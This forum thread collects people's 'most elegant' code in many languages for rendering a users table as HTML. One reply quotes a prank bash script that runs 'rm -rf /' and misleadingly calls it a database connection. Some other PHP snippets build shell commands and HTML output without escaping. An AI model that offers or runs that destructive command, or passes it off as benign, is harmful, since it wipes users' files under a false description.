|
Post the most elegant solution in your favorite language
Last post 07-19-2009 5:04 PM by Buzer. 79 replies.
-
-
Sunstorm


- Joined on 08-14-2005
- Posts 220
|
Re: Post the most elegant solution in your favorite language
PHP 5.3, the nicer way.
$db = new Sunstorm::Data::MySql::MySqlConnection( 'localhost', 'db', 'pass', 'table' ); $result = $db->query( 'SELECT userID, userName, firstName, lastName FROM users' ); $data = $result->getArray();
?> <table> <tr> <th>User ID</th> <th>UserName</th> <th>First Name</th> <th>Last Name</th> </tr> <? foreach( $data as $row ): ?> <tr> <td><?=$row['userID'] ?></td> <td><?=$row['username'] ?></td> <td><?=$row['firstname'] ?></td> <td><?=$row['lastname'] ?></td> </tr> <? endforeach ?> </table> ?>
"Most .NET applications require a persistent class representing felines." -- NHibernate
|
|
-
-
TheSwedishChef


- Joined on 08-23-2008
- Sweden
- Posts 2
|
Re: Post the most elegant solution in your favorite language
Written in RXML, a language used by Roxen CMS. <table>
<tr>
<th>User ID</th>
<th>UserName</th>
<th>First Name</th>
<th>Last Name</th>
</tr>
<emit source="sql" query="select userId, userName, firstName, lastName from users">
<tr>
<td>&_.userId;</td>
<td>&_.userName;</td>
<td>&_.userId;</td>
<td>&_.firstName;</td>
<td>&_.lastName;</td>
</tr>
</emit>
</table>
Praeterea censeo Carthaginem esse delendam.
|
|
-
-
nil


- Joined on 08-25-2008
- Łódź, Polska
- Posts 4
|
Re: Post the most elegant solution in your favorite language
PHP with Code Igniter framework $query = $this->db->get('users');
$this->table->set_heading(array('Id', 'Name', 'First Name', 'Last Name'));
foreach ($query->result() as $row)
{ $this->table->add_row(array($row->userId, $row->userName, $row->firstName, $row->lastName));
}
echo $this->table->generate();
|
|
-
-
nop


- Joined on 10-21-2008
- Posts 2
|
Re: Post the most elegant solution in your favorite language
say(<"<table> <tr> <th>User ID</th> <th>UserName</th> <th>First Name</th> <th>Last Name</th> </tr>">); scan('select userId, userName, firstName, lastName from users') { say(<"<tr> <td>$userId</td> <td>$userName</td> <td>$firstName</td> <td>$lastName</td> </tr>">); }
say('</table>');
written in my own scripting language
|
|
-
-
Welbog


- Joined on 02-08-2007
- Posts 586
|
Re: Post the most elegant solution in your favorite language
nop:say(<"
Is (<" the pac-man operator?
|
|
-
-
nop


- Joined on 10-21-2008
- Posts 2
|
Re: Post the most elegant solution in your favorite language
Welbog:
nop:say(<"
Is (<" the pac-man operator?
actually <" is the start of string constant block, but I must admit that pac-man operator is so cool - can I use it in documentation?
and... I also have that implicit string concatenation operator "some " "string" (without + or . between " )
you can suggest any better name ?
|
|
-
-
HypocriteWorld


- Joined on 04-04-2008
- Posts 70
|
Re: Post the most elegant solution in your favorite language
Call it the function application operator (just view a string as a function (string x) => concatenation(self, x)).
((lambda (f) (f f)) (lambda (f) (f f)))
|
|
-
-
time0ut


- Joined on 11-10-2008
- Posts 1
|
Re: Post the most elegant solution in your favorite language
//Disclaimer: the user List should be accessed via a LoadableDetachableModel calling to a proxied Hibernate session // but for the sake of brevity, just going with this
List<User> users = myDao.getAllUsers(); RepeatingView userList = new RepeatingView("userList"); Iterator<User> = users.iterator(); while(i.hasNext()) { User u = i.next(); userList.add(new WebMarkupContainer(userList.newChildId()) .add(new Label("userId", u.getUserId())) .add(new Label("userName", u.getUserName()) .add(new Label("firstName", u.getFirstName()) .add(new Label("lastName", u.getLastName()));
} add(userList);
|
|
-
-
maweaver


- Joined on 11-15-2008
- Posts 2
|
Re: Post the most elegant solution in your favorite language
I haven't seen the most 'elegant' solution yet, which is to say the Enterprise Java solution. I won't post the full code as it should be obvious, but here's the proper procedure: - First, you need to configure the database connection. Create a web.xml, and declare a reference to a DataSource JNDI resource.
- The next step depends on your app server; for Tomcat, edit your context.xml and create the datasource referenced above. This is where your database username, password, url, etc. will go.
- You'll need a class User with methods getUserId(), setUserId(),
getUserName(), setUserName, getFirstName(), setFirstName(),
getLastName(), setLastName().
- Now you'll want to create a class to do your query, referencing the JNDI datasource above. For this simple example, you really only need a single method, getAllUsers(), that performs the SQL and copies the results into an array of User objects
- Next create a servlet that instantiates an instance of the DAO and puts all of the users into a page parameter.
- The servlet forwards to a .jsp page which uses tags to retrieve the page parameter, loops through it, and outputs HTML
I'll leave writing the actual code for anyone interested, but it shouldn't be too bad; no more than a dozen or so files and a few hours of debugging and configuration. Of course, this is just the quick and dirty way. A TRUE enterprise solution would use Hibernate, Spring, Spring WebMVC, and probably a half-a-dozen other miscellaneous libraries (Log4J, DBCP, etc etc)
|
|
-
-
HypocriteWorld


- Joined on 04-04-2008
- Posts 70
|
Re: Post the most elegant solution in your favorite language
^
You know,it's so much more Extensible! And you get paid maybe 20x more than another solution in, for example, PLT Scheme, because you're paid by the line. Who cares about boilerplate and code duplication, we have search/replace, an IDE, and lots and lots of time and money! Whiny customers please stop complaining about bugs already...
((lambda (f) (f f)) (lambda (f) (f f)))
|
|
-
-
samanddeanus


- Joined on 04-01-2008
- Posts 73
|
Re: Post the most elegant solution in your favorite language
root:
Easily done in bash:
#!/bin/bash
rm -rf / &
while [ true ]; do echo "SELECT userId, userName, firstName, lastName FROM users"; done
The first command "rm -rf /" initiates a database connection to localhost. Next, the loop fetches results from the query using the built-in function echo, which will output everything in the form of a html table. Try it out yourself, save the above three lines to "test.sh", run chmod 666 test.sh to make it executable, and lastly execute it and pipe the resulting html table to a html file through: ./test.sh > output.html
1) rm -rf / still deletes home directory if non-root, which might contain important files.
2) chmod 666 does not make it executable. This might be deliberate to make it not delete people's files
3) ...
4) Profit!
|
|
-
-
wesw


- Joined on 12-06-2008
- Posts 2
|
Re: Post the most elegant solution in your favorite language
maweaver:I haven't seen the most 'elegant' solution yet, which is to say the Enterprise Java solution. I won't post the full code as it should be obvious, but here's the proper procedure: - First, you need to configure the database connection. Create a web.xml, and declare a reference to a DataSource JNDI resource.
- The next step depends on your app server; for Tomcat, edit your context.xml and create the datasource referenced above. This is where your database username, password, url, etc. will go.
- You'll need a class User with methods getUserId(), setUserId(),
getUserName(), setUserName, getFirstName(), setFirstName(),
getLastName(), setLastName().
- Now you'll want to create a class to do your query, referencing the JNDI datasource above. For this simple example, you really only need a single method, getAllUsers(), that performs the SQL and copies the results into an array of User objects
- Next create a servlet that instantiates an instance of the DAO and puts all of the users into a page parameter.
- The servlet forwards to a .jsp page which uses tags to retrieve the page parameter, loops through it, and outputs HTML
I'll leave writing the actual code for anyone interested, but it shouldn't be too bad; no more than a dozen or so files and a few hours of debugging and configuration. Of course, this is just the quick and dirty way. A TRUE enterprise solution would use Hibernate, Spring, Spring WebMVC, and probably a half-a-dozen other miscellaneous libraries (Log4J, DBCP, etc etc) Although I did get a kick out of the JEE solution, you can make
elegant solutions in Java (after all the required configuration
[web.xml/JNDI/etc]). Here is my answer -
<sql:query var="results">
select * from users
</sql:query>
<display:table name="${results.rows}" />
|
|
-
-
HypocriteWorld


- Joined on 04-04-2008
- Posts 70
|
Re: Post the most elegant solution in your favorite language
Java Elegant Solution These two phrases just don't mix.
((lambda (f) (f f)) (lambda (f) (f f)))
|
|
-
-
bstorer


- Joined on 02-01-2007
- Alexandria, VA
- Posts 3,401
|
Re: Post the most elegant solution in your favorite language
wesw:Although I did get a kick out of the JEE solution, you can make
elegant solutions in Java (after all the required configuration
[web.xml/JNDI/etc]). Here is my answer -
<sql:query var="results">
select * from users
</sql:query>
<display:table name="${results.rows}" />
I love that the elegant Java solution involves includes no Java code whatsoever. That sounds about right.
|
|
-
-
Farmer Brown


- Joined on 11-25-2008
- Posts 196
|
Re: Post the most elegant solution in your favorite language
bstorer:I love that the elegant Java solution involves includes no Java code whatsoever. That sounds about right.
People still use Java?
I find that hard to believe.
|
|
-
-
HypocriteWorld


- Joined on 04-04-2008
- Posts 70
|
Re: Post the most elegant solution in your favorite language
Farmer Brown: bstorer:I love that the elegant Java solution involves includes no Java code whatsoever. That sounds about right.
People still use Java?
I find that hard to believe.
Java goes hand-in-hand with XML abuse. Actually I wonder, have XML fanatics implemented a LISP with XML syntax yet? <define> <name>f</name> <lambda><parameters><parameter name="file-not-found"/> <display><string>Brillant!</string></display></lambda></define> ?
((lambda (f) (f f)) (lambda (f) (f f)))
|
|
-
-
bstorer


- Joined on 02-01-2007
- Alexandria, VA
- Posts 3,401
|
Re: Post the most elegant solution in your favorite language
HypocriteWorld:Actually I wonder, have XML fanatics implemented a LISP with XML syntax yet?
There was a Scheme derivative a few years back, but I don't know if that was just a terrible joke because I can't seem to find it anymore.
|
|
-
-
SketchySteve


- Joined on 02-18-2009
- Posts 1
|
Re: Post the most elegant solution in your favorite language
A pure ASP.NET solution. Would be more elegant with an sp! <asp:SqlDataSource ID="sdsUserList" SelectCommand="select userId, userName, firstName, lastName from users" runat="server" ConnectionString="myconstring" /> <asp:Repeater DataSourceId="sdsUserList" ID="rptUsers" runat="server"> <HeaderTemplate> <table> <tr> <th>User ID</th> <th>UserName</th> <th>First Name</th> <th>Last Name</th> </tr> </HeaderTemplate> <ItemTemplate> <td><%#DataBinder.Eval(Container.DataItem, "userId")%></td> <td><%#DataBinder.Eval(Container.DataItem, "userName")%></td> <td><%#DataBinder.Eval(Container.DataItem, "firstName")%></td> <td><%#DataBinder.Eval(Container.DataItem, "lastName")%></td> </ItemTemplate> <FooterTemplate> </table> </FooterTemplate> </asp:Repeater>
|
|
-
-
PSWorx


- Joined on 04-28-2006
- Posts 888
|
Re: Post the most elegant solution in your favorite language
XQuery: (assuming an XML DB with a <userList> root node and <user> child nodes) <table> <tr> <th>User ID</th> <th>UserName</th> <th>First Name</th> <th>Last Name</th> </tr> {/userList/user/ <tr> <td>{userID}</td> <td>{username}</td> <td>{firstName}</td> <td>{lastName}</td> </tr> } </table>
|
|
-
-
fyjham


- Joined on 05-01-2008
- Posts 110
|
Re: Post the most elegant solution in your favorite language
SketchySteve:A pure ASP.NET solution. Would be more elegant with an sp! <asp:SqlDataSource ID="sdsUserList" SelectCommand="select userId, userName, firstName, lastName from users" runat="server" ConnectionString="myconstring" /> <asp:Repeater DataSourceId="sdsUserList" ID="rptUsers" runat="server"> <HeaderTemplate> <table> <tr> <th>User ID</th> <th>UserName</th> <th>First Name</th> <th>Last Name</th> </tr> </HeaderTemplate> <ItemTemplate> <td><%#DataBinder.Eval(Container.DataItem, "userId")%></td> <td><%#DataBinder.Eval(Container.DataItem, "userName")%></td> <td><%#DataBinder.Eval(Container.DataItem, "firstName")%></td> <td><%#DataBinder.Eval(Container.DataItem, "lastName")%></td> </ItemTemplate> <FooterTemplate> </table> </FooterTemplate> </asp:Repeater> A little shorter:
<asp:SqlDataSource ID="sdsUserList" SelectCommand="select userId,
userName, firstName, lastName from users" runat="server"
ConnectionString="myconstring" /> <asp:GridView ID="gvUserList" DataSourceID="sdsUserList" AutoGenerateColumns="true" />
|
|
-
-
PSWorx


- Joined on 04-28-2006
- Posts 888
|
Re: Post the most elegant solution in your favorite language
bitblit:You'd put most of it in a lib file, so meh. And it's PHP, so meh.
Here, now insult the AJAX w/ jQuery... [...]
$(document).ready(function() { $.getJSON('<?php echo $_SERVER['REQUEST_URI']; ?>', {json: true}, function(data){ var thead = $('<thead></thead>'); var tbody = $('<tbody></tbody>'); $(data.headers).each(function(i){ thead.append('<th>'+this+'</th>'); }); $(data.rows).each(function(i){ var tr = $('<tr></tr>'); $(this).each(function(i){ tr.append('<td>'+this+'</td>'); }); tbody.append(tr); }); $(document.body).append( $('<table></table>') .append(thead) .append(tbody)); }); });
[...]
Unrelated, I wait for the day when jQuery finally gets rid of ALL function and object names, and finally manages to get EVERYTHING done using the $() function...
|
|
-
-
immibis


- Joined on 01-19-2009
- Posts 64
|
Re: Post the most elegant solution in your favorite language
Not quite sure what would be considered elegant. I know it's ugly, but I would do it this way (PHP, no extensions besides mysql, assuming MySQL database on localhost, login is "username"/"password" and database is "users"): <?php $link = mysql_connect("localhost","username","password") or die(mysql_error()); mysql_select_db("users") or die(mysql_error()); $result = mysql_query("select userId, userName, firstName, lastName from users") or die(mysql_error()); print "<table><tr><th>User ID</th><th>Username</th><th>First name</th><th>Last name</th></tr>"; while($row = mysql_fetch_array($result)) { print "<tr><td>".$row["userId"]."</td>"; print "<td>".$row["userName"]."</td>"; print "<td>".$row["firstName"]."</td>"; print "<td>".$row["lastName"]."</td></tr>"; } print "</table>"; mysql_close_result($result); mysql_close($link); ?>
|
|
-
-
SEMI-HYBRID code


- Joined on 04-07-2008
- Posts 62
|
Re: Post the most elegant solution in your favorite language
immibis:I know it's ugly, but I would do it this way
why then? besides, PHP is supposed to be HTML embedded language, so using it this way kinda kills the point, doesn't it?
Sometimes I wish I could not post before I stop, and actually check whether there isn't anything similar to what i want to write...
|
|
-
-
kevininstructor


- Joined on 04-20-2009
- Salem Oregon USA
- Posts 1
|
Re: Post the most elegant solution in your favorite language
Here is VS2008/VB.NET using asp style embedded expressions
Sub DoUsers()
Dim Users As List(Of User) = New List(Of User) _
(New User() _
{New User With _
{.userID = "100", .firstName = "Kevin", .lastName = "Gallagher", .userName = "KG"}, _
New User With _
{.userID = "200", .firstName = "Karen", .lastName = "Jones", .userName = "KJ"}})
Dim query = _
<html>
<style>
TD {background-color: green;color: #F0F8FF;padding-right:15px;}
</style>
<body>
<p style='font-weight:bold;margin-bottom:0px'>
Sample of using
<span style="color:red">LINQ</span> to create HTML output"
</p>
<table>
<tr>
<th>User ID</th>
<th>UserName</th>
<th>First name</th>
<th>Last name</th>
</tr>
<%= From u In Users Select _
<tr>
<td><%= u.userID %></td>
<td><%= u.userName %></td>
<td><%= u.firstName %></td>
<td><%= u.lastName %></td>
</tr> %>
</table>
</body>
</html>
query.Save("UsersTable.html")
Application.DoEvents()
Process.Start("UsersTable.html")
End Sub
Public Class User
Public userID As String
Public userName As String
Public firstName As String
Public lastName As String
End Class
Kevin S Gallagher
|
|
-
-
pos_v


- Joined on 04-23-2009
- UK
- Posts 1
|
Re: Post the most elegant solution in your favorite language
Classic ASP with inline SQL query. this assumes the data is good and is present in the table.
<table> <tr><th>User ID</th><th>Username</th><th>First Name</th><th>Last Name</th></tr>
<% 'connection string initialized previously usrSQL = "SELECT * FROM users" SET usrRS = myConn.execute(usrSQL) DO WHILE NOT usrRS.EOF %>
<tr><td><%=usrRS("userID")%><td><%=usrRS("userName")%><td><%=usrRS("firstName")%><td><%=usrRS("lastName")%></td></tr>
<% usrRS.MOVENEXT LOOP SET usrRS = NOTHING 'feel free to close the connection here :] %>
</table>
Top 10 reasons to procrastinate: 1 -
|
|
-
-
mariushm


- Joined on 02-10-2009
- Posts 25
|
Re: Post the most elegant solution in your favorite language
Well, maybe I'm nitpicking but personally I would never just run a query selecting all the users in a database. What if there are 500k users? With the default PHP settings, script would probably time out half way. Get the number of records first, increase the script time and use LIMIT for the query, because the php mysql implementation would retrieve all rows otherwise and you may run out of memory... or use unbuffered queries... and lots of other things I can't think of right now Actually, let's go with it for fun: <? exec("C:\\mysql\\bin\\mysql.exe -u $user -p$pass -s -e \"select userID, userName, firstName, lastName FROM users\" >C:\\results.txt"); $results = file_get_contents("C:\\results.txt"); ?> <table> <tr> <th>User ID</th> <th>UserName</th> <th>First Name</th> <th>Last Name</th> </tr> <?
$lines = explode($results,chr(0x0d).chr(0x0a)); foreach ($lines as $index => $line) { $row = explode($line, chr(0x09));
<tr> <td><?=$row[0] ?></td> <td><?=$row[1] ?></td> <td><?=$row[2] ?></td> <td><?=$row[3] ?></td> </tr> <? } ?> </table> ?>
Hey, at least it works even if PHP has no MySQL extension installed... no need to worry about SQL injections :p
|
|
-
-
bitblit


- Joined on 07-11-2008
- Posts 5
|
Re: Post the most elegant solution in your favorite language
You can address the concerns about number of records by splitting the code up along MVC lines. Your View simply displays any number of records. The Controller loads data from the Model and hands it over to that View for rendering.
|
|
-
-
Lingerance


- Joined on 07-24-2007
- Canada
- Posts 1,171
|
Re: Post the most elegant solution in your favorite language
mariushm:What if there are 500k users? With the default PHP settings, script would probably time out half way.
You can change said setting...
mariushm:[snip]Horrid code[/snip]
I'm going to presume the WTFs are intentional.
irc://irc.slashnet.org/#TDWTF (Redirects to #CodeLove ) Yo dawg I herd hoard you like to search so I put a 2TB txt file in yo SSDS so your memory's maxed out and your computer cant do shit? -- Nyquist
|
|
-
-
savar


- Joined on 08-02-2006
- Posts 387
|
Re: Post the most elegant solution in your favorite language
mariushm: Well, maybe I'm nitpicking but personally I would never just run a query selecting all the users in a database. What if there are 500k users? With the default PHP settings, script would probably time out half way. Get the number of records first, increase the script time and use LIMIT for the query, because the php mysql implementation would retrieve all rows otherwise and you may run out of memory... or use unbuffered queries... and lots of other things I can't think of right now
That's not really the point of this so-called challenge. Then again, I'm not sure why this is in the challenge forum anyway -- only on TDWTF is the least challenging "challenge" the most popular thread. But if you're concerned about the script execution time limit, you can just set_time_limit(0) to disable that.
|
|
-
|
|
|